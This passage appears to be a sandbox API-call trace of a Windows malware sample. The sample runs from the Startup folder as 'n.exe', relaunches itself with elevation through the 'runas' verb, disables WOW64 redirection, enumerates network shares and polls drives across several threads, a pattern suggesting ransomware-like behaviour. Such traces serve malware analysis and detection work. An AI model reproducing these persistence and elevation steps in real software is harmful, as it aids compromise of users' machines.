| out: hHeap=0x630000) returned 1 [0147.069] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x68bd80, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\n.exe")) returned 0x42 [0147.069] ShellExecuteExW (in: pExecInfo=0x23eff34*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe", lpParameters="-a", lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x23eff34*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe", lpParameters="-a", lpDirectory=0x0, nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1 [0158.166] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x681438 [0158.166] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x681438, Size=0x20) returned 0x42f95c8 [0158.166] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x681438 [0158.166] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x681438, Size=0x20) returned 0x42f9618 [0158.166] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x762e0000 [0158.166] GetProcAddress (hModule=0x762e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7630d650 [0158.166] Wow64DisableWow64FsRedirection (in: OldValue=0x0 | out: OldValue=0x0) returned 0 [0158.167] lstrlenW (lpString="kernel32.dll") returned 12 [0158.167] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x42f9618 | out: hHeap=0x630000) returned 1 [0158.167] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0158.167] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x42f95c8 | out: hHeap=0x630000) returned 1 [0158.167] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x68bd80 | out: hHeap=0x630000) returned 1 [0158.167] lstrlenW (lpString="runas") returned 5 [0158.167] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x681420 | out: hHeap=0x630000) returned 1 [0158.167] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x0) returned 0x0 [0158.167] ReleaseMutex (hMutex=0x84) returned 1 [0158.168] Sleep (dwMilliseconds=0x1f4) [0158.782] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x0) returned 0x0 [0158.782] ReleaseMutex (hMutex=0x84) returned 1 [0158.782] Sleep (dwMilliseconds=0x1f4) [0159.576] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x0) returned 0x0 [0159.576] ReleaseMutex (hMutex=0x84) returned 1 [0159.576] Sleep (dwMilliseconds=0x1f4) [0160.243] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x0) returned 0x0 [0160.243] ReleaseMutex (hMutex=0x84) returned 1 [0160.243] Sleep (dwMilliseconds=0x1f4) [0160.823] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x0) returned 0x0 [0160.823] ReleaseMutex (hMutex=0x84) returned 1 [0160.823] Sleep (dwMilliseconds=0x1f4) [0161.551] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x0) returned 0x0 [0161.551] ReleaseMutex (hMutex=0x84) returned 1 [0161.551] Sleep (dwMilliseconds=0x1f4) [0162.250] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x0) returned 0x0 [0162.250] ReleaseMutex (hMutex=0x84) returned 1 [0162.250] Sleep (dwMilliseconds=0x1f4) [0163.004] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x0) returned 0x0 [0163.005] ReleaseMutex (hMutex=0x84) returned 1 [0163.005] Sleep (dwMilliseconds=0x1f4) [0163.688] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x0) returned 0x0 [0163.688] ReleaseMutex (hMutex=0x84) returned 1 [0163.688] Sleep (dwMilliseconds=0x1f4) [0164.392] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x0) returned 0x0 [0164.392] ReleaseMutex (hMutex=0x84) returned 1 [0164.392] Sleep (dwMilliseconds=0x1f4) [0165.008] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x0) returned 0x0 [0165.008] ReleaseMutex (hMutex=0x84) returned 1 [0165.008] Sleep (dwMilliseconds=0x1f4) [0165.660] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x0) returned 0x0 [0165.661] ReleaseMutex (hMutex=0x84) returned 1 [0165.661] Sleep (dwMilliseconds=0x1f4) [0166.274] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x0) returned 0x0 [0166.274] ReleaseMutex (hMutex=0x84) returned 1 [0166.274] Sleep (dwMilliseconds=0x1f4) [0166.935] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x0) returned 0x0 [0166.935] ReleaseMutex (hMutex=0x84) returned 1 [0166.935] Sleep (dwMilliseconds=0x1f4) [0167.581] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x0) returned 0x0 [0167.581] ReleaseMutex (hMutex=0x84) returned 1 [0167.581] Sleep (dwMilliseconds=0x1f4) [0168.190] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x0) returned 0x0 [0168.190] ReleaseMutex (hMutex=0x84) returned 1 [0168.190] Sleep (dwMilliseconds=0x1f4) [0168.945] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x0) returned 0x0 [0168.945] ReleaseMutex (hMutex=0x84) returned 1 [0168.946] Sleep (dwMilliseconds=0x1f4) [0169.461] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x0) returned 0x0 [0169.461] ReleaseMutex (hMutex=0x84) returned 1 [0169.462] Sleep (dwMilliseconds=0x1f4) [0169.989] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x0) returned 0x0 [0169.989] ReleaseMutex (hMutex=0x84) returned 1 [0169.989] Sleep (dwMilliseconds=0x1f4) [0170.514] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x0) returned 0x0 [0170.514] ReleaseMutex (hMutex=0x84) returned 1 [0170.514] Sleep (dwMilliseconds=0x1f4) [0171.041] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x0) returned 0x0 [0171.041] ReleaseMutex (hMutex=0x84) returned 1 [0171.041] Sleep (dwMilliseconds=0x1f4) [0171.683] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x0) returned 0x0 [0171.694] ReleaseMutex (hMutex=0x84) returned 1 [0171.695] Sleep (dwMilliseconds=0x1f4) [0172.591] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x0) returned 0x0 [0172.591] ReleaseMutex (hMutex=0x84) returned 1 [0172.591] Sleep (dwMilliseconds=0x1f4) [0173.326] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x0) returned 0x0 [0173.326] ReleaseMutex (hMutex=0x84) returned 1 [0173.326] Sleep (dwMilliseconds=0x1f4) [0174.089] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x0) returned 0x0 [0174.089] ReleaseMutex (hMutex=0x84) returned 1 [0174.089] Sleep (dwMilliseconds=0x1f4) [0174.770] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x0) returned 0x0 [0174.770] ReleaseMutex (hMutex=0x84) returned 1 [0174.770] Sleep (dwMilliseconds=0x1f4) [0175.468] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x0) returned 0x0 [0175.468] ReleaseMutex (hMutex=0x84) returned 1 [0175.468] Sleep (dwMilliseconds=0x1f4) [0176.602] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x0) returned 0x0 [0176.602] ReleaseMutex (hMutex=0x84) returned 1 [0176.602] Sleep (dwMilliseconds=0x1f4) [0177.441] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x0) returned 0x0 [0177.441] ReleaseMutex (hMutex=0x84) returned 1 [0177.441] Sleep (dwMilliseconds=0x1f4) [0178.206] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x0) returned 0x0 [0178.206] ReleaseMutex (hMutex=0x84) returned 1 [0178.206] Sleep (dwMilliseconds=0x1f4) [0179.024] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x0) returned 0x0 [0179.024] ReleaseMutex (hMutex=0x84) returned 1 [0179.024] Sleep (dwMilliseconds=0x1f4) [0179.861] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x0) returned 0x0 [0179.861] ReleaseMutex (hMutex=0x84) returned 1 [0179.861] Sleep (dwMilliseconds=0x1f4) [0180.710] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x0) returned 0x0 [0180.710] ReleaseMutex (hMutex=0x84) returned 1 [0180.710] Sleep (dwMilliseconds=0x1f4) [0181.443] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x0) returned 0x102 [0181.444] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x664bf0 | out: hHeap=0x630000) returned 1 Thread: id = 332 os_tid = 0x698 [0147.072] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x681408 [0147.072] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x681408, Size=0x20) returned 0x665d98 [0147.072] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x665d98, Size=0x40) returned 0x666d80 [0147.072] GetLogicalDrives () returned 0x4 [0147.072] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfffe) returned 0x6bfd98 [0147.072] GetComputerNameW (in: lpBuffer=0x6bfd9c, nSize=0x24eff6c | out: lpBuffer="XDUWTFONO", nSize=0x24eff6c) returned 1 [0147.073] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1000) returned 0x689dc8 [0147.073] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x24eff3c | out: lphEnum=0x24eff3c*=0x6663b8) returned 0x0 [0147.073] WNetEnumResourceW (in: hEnum=0x6663b8, lpcCount=0x24eff38, lpBuffer=0x689dc8, lpBufferSize=0x24eff40 | out: lpcCount=0x24eff38, lpBuffer=0x689dc8, lpBufferSize=0x24eff40) returned 0x103 [0147.073] WNetCloseEnum (hEnum=0x6663b8) returned 0x0 [0147.073] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x24eff3c | out: lphEnum=0x24eff3c*=0x6a8238) returned 0x0 [0149.034] WNetEnumResourceW (in: hEnum=0x6a8238, lpcCount=0x24eff38, lpBuffer=0x689dc8, lpBufferSize=0x24eff40 | out: lpcCount=0x24eff38, lpBuffer=0x689dc8, lpBufferSize=0x24eff40) returned 0x0 [0149.034] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1000) returned 0x69c400 [0149.034] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x689dc8, lphEnum=0x24eff10 | out: lphEnum=0x24eff10*=0x6665d8) returned 0x0 [0149.209] WNetEnumResourceW (in: hEnum=0x6665d8, lpcCount=0x24eff0c, lpBuffer=0x69c400, lpBufferSize=0x24eff14 | out: lpcCount=0x24eff0c, lpBuffer=0x69c400, lpBufferSize=0x24eff14) returned 0x103 [0149.209] WNetCloseEnum (hEnum=0x6665d8) returned 0x0 [0149.210] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1000) returned 0x3bfbfb0 [0149.210] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x689de8, lphEnum=0x24eff10 | out: lphEnum=0x24eff10*=0x0) returned 0x4b8 [0162.681] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1000) returned 0x430a1b8 [0162.681] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x689e08, lphEnum=0x24eff10 | out: lphEnum=0x24eff10*=0x0) returned 0x4c6 [0162.682] WNetEnumResourceW (in: hEnum=0x6a8238, lpcCount=0x24eff38, lpBuffer=0x689dc8, lpBufferSize=0x24eff40 | out: lpcCount=0x24eff38, lpBuffer=0x689dc8, lpBufferSize=0x24eff40) returned 0x103 [0162.682] WNetCloseEnum (hEnum=0x6a8238) returned 0x0 [0162.682] GetLogicalDrives () returned 0x4 [0162.682] Sleep (dwMilliseconds=0x64) [0163.070] GetLogicalDrives () returned 0x4 [0163.071] Sleep (dwMilliseconds=0x64) [0163.251] GetLogicalDrives () returned 0x4 [0163.252] Sleep (dwMilliseconds=0x64) [0163.476] GetLogicalDrives () returned 0x4 [0163.476] Sleep (dwMilliseconds=0x64) [0163.689] GetLogicalDrives () returned 0x4 [0163.689] Sleep (dwMilliseconds=0x64) [0163.916] GetLogicalDrives () returned 0x4 [0163.916] Sleep (dwMilliseconds=0x64) [0164.085] GetLogicalDrives () returned 0x4 [0164.086] Sleep (dwMilliseconds=0x64) [0164.367] GetLogicalDrives () returned 0x4 [0164.368] Sleep (dwMilliseconds=0x64) [0164.718] GetLogicalDrives () returned 0x4 [0164.718] Sleep (dwMilliseconds=0x64) [0164.870] GetLogicalDrives () returned 0x4 [0164.880] Sleep (dwMilliseconds=0x64) [0165.322] GetLogicalDrives () returned 0x4 [0165.322] Sleep (dwMilliseconds=0x64) [0165.566] GetLogicalDrives () returned 0x4 [0165.566] Sleep (dwMilliseconds=0x64) [0165.776] GetLogicalDrives () returned 0x4 [0165.776] Sleep (dwMilliseconds=0x64) [0166.050] GetLogicalDrives () returned 0x4 [0166.050] Sleep (dwMilliseconds=0x64) [0166.273] GetLogicalDrives () returned 0x4 [0166.273] Sleep (dwMilliseconds=0x64) [0166.538] GetLogicalDrives () returned 0x4 [0166.538] Sleep (dwMilliseconds=0x64) [0166.731] GetLogicalDrives () returned 0x4 [0166.731] Sleep (dwMilliseconds=0x64) [0167.072] GetLogicalDrives () returned 0x4 [0167.072] Sleep (dwMilliseconds=0x64) [0167.325] GetLogicalDrives () returned 0x4 [0167.325] Sleep (dwMilliseconds=0x64) [0167.548] GetLogicalDrives () returned 0x4 [0167.548] Sleep (dwMilliseconds=0x64) [0167.758] GetLogicalDrives () returned 0x4 [0167.758] Sleep (dwMilliseconds=0x64) [0168.035] GetLogicalDrives () returned 0x4 [0168.035] Sleep (dwMilliseconds=0x64) [0168.191] GetLogicalDrives () returned 0x4 [0168.191] Sleep (dwMilliseconds=0x64) [0168.425] GetLogicalDrives () returned 0x4 [0168.425] Sleep (dwMilliseconds=0x64) [0168.583] GetLogicalDrives () returned 0x4 [0168.583] Sleep (dwMilliseconds=0x64) [0168.945] GetLogicalDrives () returned 0x4 [0168.945] Sleep (dwMilliseconds=0x64) [0169.078] GetLogicalDrives () returned 0x4 [0169.078] Sleep (dwMilliseconds=0x64) [0169.217] GetLogicalDrives () returned 0x4 [0169.217] Sleep (dwMilliseconds=0x64) [0169.325] GetLogicalDrives () returned 0x4 [0169.325] Sleep (dwMilliseconds=0x64) [0169.427] GetLogicalDrives () returned 0x4 [0169.427] Sleep (dwMilliseconds=0x64) [0169.558] GetLogicalDrives () returned 0x4 [0169.558] Sleep (dwMilliseconds=0x64) [0169.661] GetLogicalDrives () returned 0x4 [0169.661] Sleep (dwMilliseconds=0x64) [0169.791] GetLogicalDrives () returned 0x4 [0169.791] Sleep (dwMilliseconds=0x64) [0169.922] GetLogicalDrives () returned 0x4 [0169.922] Sleep (dwMilliseconds=0x64) [0170.022] GetLogicalDrives () returned 0x4 [0170.022] Sleep (dwMilliseconds=0x64) [0170.145] GetLogicalDrives () returned 0x4 [0170.145] Sleep (dwMilliseconds=0x64) [0170.276] GetLogicalDrives () returned 0x4 [0170.276] Sleep (dwMilliseconds=0x64) [0170.409] GetLogicalDrives () returned 0x4 [0170.409] Sleep (dwMilliseconds=0x64) [0170.547] GetLogicalDrives () returned 0x4 [0170.547] Sleep (dwMilliseconds=0x64) [0170.700] GetLogicalDrives () returned 0x4 [0170.700] Sleep (dwMilliseconds=0x64) [0170.833] GetLogicalDrives () returned 0x4 [0170.833] Sleep (dwMilliseconds=0x64) [0170.973] GetLogicalDrives () returned 0x4 [0170.973] Sleep (dwMilliseconds=0x64) [0171.107] GetLogicalDrives () returned 0x4 [0171.107] Sleep (dwMilliseconds=0x64) [0171.262] GetLogicalDrives () returned 0x4 [0171.262] Sleep (dwMilliseconds=0x64) [0171.395] GetLogicalDrives () returned 0x4 [0171.395] Sleep (dwMilliseconds=0x64) [0171.660] GetLogicalDrives () returned 0x4 [0171.660] Sleep (dwMilliseconds=0x64) [0172.093] GetLogicalDrives () returned 0x4 [0172.093] Sleep (dwMilliseconds=0x64) [0172.558] GetLogicalDrives () returned 0x4 [0172.558] Sleep (dwMilliseconds=0x64) [0172.822] GetLogicalDrives () returned 0x4 [0172.822] Sleep (dwMilliseconds=0x64) [0173.023] GetLogicalDrives () returned 0x4 [0173.023] Sleep (dwMilliseconds=0x64) [0173.360] GetLogicalDrives () returned 0x4 [0173.360] Sleep (dwMilliseconds=0x64) [0173.637] GetLogicalDrives () returned 0x4 [0173.637] Sleep (dwMilliseconds=0x64) [0173.982] GetLogicalDrives () returned 0x4 [0173.982] Sleep (dwMilliseconds=0x64) [0174.221] GetLogicalDrives () returned 0x4 [0174.221] Sleep (dwMilliseconds=0x64) [0174.626] GetLogicalDrives () returned 0x4 [0174.626] Sleep (dwMilliseconds=0x64) [0174.841] GetLogicalDrives () returned 0x4 [0174.841] Sleep (dwMilliseconds=0x64) [0174.993] GetLogicalDrives () returned 0x4 [0174.993] Sleep (dwMilliseconds=0x64) [0175.299] GetLogicalDrives () returned 0x4 [0175.299] Sleep (dwMilliseconds=0x64) [0175.571] GetLogicalDrives () returned 0x4 [0175.571] Sleep (dwMilliseconds=0x64) [0176.478] GetLogicalDrives () returned 0x4 [0176.479] Sleep (dwMilliseconds=0x64) [0176.730] GetLogicalDrives () returned 0x4 [0176.730] Sleep (dwMilliseconds=0x64) [0177.137] GetLogicalDrives () returned 0x4 [0177.137] Sleep (dwMilliseconds=0x64) [0177.533] GetLogicalDrives () returned 0x4 [0177.533] Sleep (dwMilliseconds=0x64) [0177.877] GetLogicalDrives () returned 0x4 [0177.877] Sleep (dwMilliseconds=0x64) [0178.207] GetLogicalDrives () returned 0x4 [0178.207] Sleep (dwMilliseconds=0x64) [0178.421] GetLogicalDrives () returned 0x4 [0178.421] Sleep (dwMilliseconds=0x64) [0178.883] GetLogicalDrives () returned 0x4 [0178.883] Sleep (dwMilliseconds=0x64) [0179.167] GetLogicalDrives () returned 0x4 [0179.167] Sleep (dwMilliseconds=0x64) [0179.428] GetLogicalDrives () returned 0x4 [0179.428] Sleep (dwMilliseconds=0x64) [0179.861] GetLogicalDrives () returned 0x4 [0179.861] Sleep (dwMilliseconds=0x64) [0180.131] GetLogicalDrives () returned 0x4 [0180.131] Sleep (dwMilliseconds=0x64) [0180.464] GetLogicalDrives () returned 0x4 [0180.464] Sleep (dwMilliseconds=0x64) [0180.875] GetLogicalDrives () returned 0x4 [0180.875] Sleep (dwMilliseconds=0x64) [0181.108] GetLogicalDrives () returned 0x4 [0181.108] Sleep (dwMilliseconds=0x64) [0181.366] GetLogicalDrives () returned 0x4 [0181.366] Sleep (dwMilliseconds=0x64) [0181.622] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0181.622] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x666d80 | out: hHeap=0x630000) returned 1 Thread: id = 333 os_tid = 0x69c [0147.469] GetTickCount () returned 0x1139fe8 [0147.469] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x24) returned 0x68b488 [0147.469] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x68b488, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x134 [0147.477] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x68b488, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x170 [0147.478] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x68b488, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x120 [0147.480] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x68b488, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17c [0147.481] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x681540 [0147.481] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x681540, Size=0x20) returned 0x69e5f8 [0147.481] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x681540 [0147.481] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x681540, Size=0x20) returned 0x69e620 [0147.481] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x762e0000 [0147.482] GetProcAddress (hModule=0x762e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7630d650 [0147.482] Wow64DisableWow64FsRedirection (in: OldValue=0x25eff84 | out: OldValue=0x25eff84*=0x0) returned 1 [0147.482] lstrlenW (lpString="kernel32.dll") returned 12 [0147.482] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x69e5f8 | out: hHeap=0x630000) returned 1 [0147.482] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0147.482] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x69e620 | out: hHeap=0x630000) returned 1 [0147.482] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x66b550, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x184 [0147.483] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0147.631] GetTickCount () returned 0x113a084 [0147.631] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0147.744] GetTickCount () returned 0x113a0f1 [0147.744] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0147.943] GetTickCount () returned 0x113a1bc [0147.943] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0148.152] GetTickCount () returned 0x113a287 [0148.152] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0148.396] GetTickCount () returned 0x113a371 [0148.396] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0148.563] GetTickCount () returned 0x113a40d [0148.563] GetTickCount () returned 0x113a40d [0148.563] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0148.816] GetTickCount () returned 0x113a506 [0148.816] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0148.998] GetTickCount () returned 0x113a5b2 [0148.998] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0149.114] GetTickCount () returned 0x113a62f [0149.114] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0149.349] GetTickCount () returned 0x113a709 [0149.352] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0149.555] GetTickCount () returned 0x113a7d4 [0149.555] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0149.848] GetTickCount () returned 0x113a8ed [0149.848] GetTickCount () returned 0x113a8ed [0149.849] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0150.042] GetTickCount () returned 0x113a9a8 [0150.042] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0150.428] GetTickCount () returned 0x113ab1e [0150.428] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0150.591] GetTickCount () returned 0x113abba [0150.591] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0150.723] GetTickCount () returned 0x113ac37 [0150.723] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0150.827] GetTickCount () returned 0x113aca4 [0150.827] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0150.951] GetTickCount () returned 0x113ad12 [0150.951] GetTickCount () returned 0x113ad12 [0150.951] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0151.057] GetTickCount () returned 0x113ad7f [0151.057] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0151.187] GetTickCount () returned 0x113adfc [0151.187] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0151.321] GetTickCount () returned 0x113ae78 [0151.321] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0151.470] GetTickCount () returned 0x113af05 [0151.470] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0151.580] GetTickCount () returned 0x113af72 [0151.580] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0151.712] GetTickCount () returned 0x113afef [0151.712] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0152.039] GetTickCount () returned 0x113b09a [0152.039] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0152.206] GetTickCount () returned 0x113b136 [0152.207] GetTickCount () returned 0x113b136 [0152.207] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0152.348] GetTickCount () returned 0x113b1c3 [0152.348] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0152.513] GetTickCount () returned 0x113b24f [0152.513] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0152.663] GetTickCount () returned 0x113b2eb [0152.663] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0152.824] GetTickCount () returned 0x113b387 [0152.824] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0153.035] GetTickCount () returned 0x113b442 [0153.035] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0153.258] GetTickCount () returned 0x113b51d [0153.259] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0153.543] GetTickCount () returned 0x113b636 [0153.543] GetTickCount () returned 0x113b636 [0153.543] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0153.716] GetTickCount () returned 0x113b6d2 [0153.716] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0153.832] GetTickCount () returned 0x113b74e [0153.832] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0153.972] GetTickCount () returned 0x113b7cb [0153.972] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0154.084] GetTickCount () returned 0x113b848 [0154.084] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0154.191] GetTickCount () returned 0x113b8b5 [0154.191] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0154.318] GetTickCount () returned 0x113b932 [0154.318] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0154.426] GetTickCount () returned 0x113b99f [0154.426] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0154.605] GetTickCount () returned 0x113ba3b [0154.605] GetTickCount () returned 0x113ba3b [0154.605] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0154.792] GetTickCount () returned 0x113baf6 [0154.792] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0154.935] GetTickCount () returned 0x113bb83 [0154.936] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0155.102] GetTickCount () returned 0x113bc2e [0155.102] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0155.226] GetTickCount () returned 0x113bcab [0155.226] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0155.328] GetTickCount () returned 0x113bd09 [0155.328] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0155.455] GetTickCount () returned 0x113bd86 [0155.455] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0155.583] GetTickCount () returned 0x113be02 [0155.583] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0155.713] GetTickCount () returned 0x113be7f [0155.713] GetTickCount () returned 0x113be7f [0155.713] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0155.858] GetTickCount () returned 0x113bf0c [0155.858] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0155.964] GetTickCount () returned 0x113bf79 [0155.964] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x64) returned 0x102 [0156.081] GetTickCount () returned 0x113bff6 [0156.081] 